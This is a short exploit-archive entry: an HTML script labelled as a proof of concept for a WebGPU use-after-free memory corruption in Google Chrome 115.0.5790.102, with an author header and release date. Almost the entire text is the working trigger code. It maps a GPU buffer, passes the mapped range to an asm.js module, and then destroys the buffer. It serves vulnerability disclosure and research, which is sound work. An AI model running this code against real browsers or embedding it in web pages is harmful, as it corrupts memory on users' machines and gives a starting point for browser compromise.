Google Chrome version 115.0.5790.102 WebGPU use-after-free memory corruption proof of concept exploit.
8d8a37ec6a9723c095e854941ee699a99d052bf1885ef10eb39b13deb719ce3d
<script>
/*
Google Chrome WebGPU Memory Corruption
Author: Jean Pereira <pereira.one.010@gmail.com>
Released: 2023/07/25
Vendor: https://www.google.com
Software: https://www.google.com/chrome/
Tested with version: 115.0.5790.102 (latest version)
*/
navigator.gpu.requestAdapter().then(a => {
a.requestDevice().then(d => {
const b = d.createBuffer({
mappedAtCreation: true,
size: 0x1000,
usage: GPUBufferUsage.MAP_WRITE,
})
function asm(s, a, b) {
'use asm'
var arr = new s.Uint32Array(b)
function nop(x) {
x = x | 0
}
return nop
}
asm({
Uint32Array: Uint32Array
}, {}, b.getMappedRange())
b.destroy()
})
})
</script>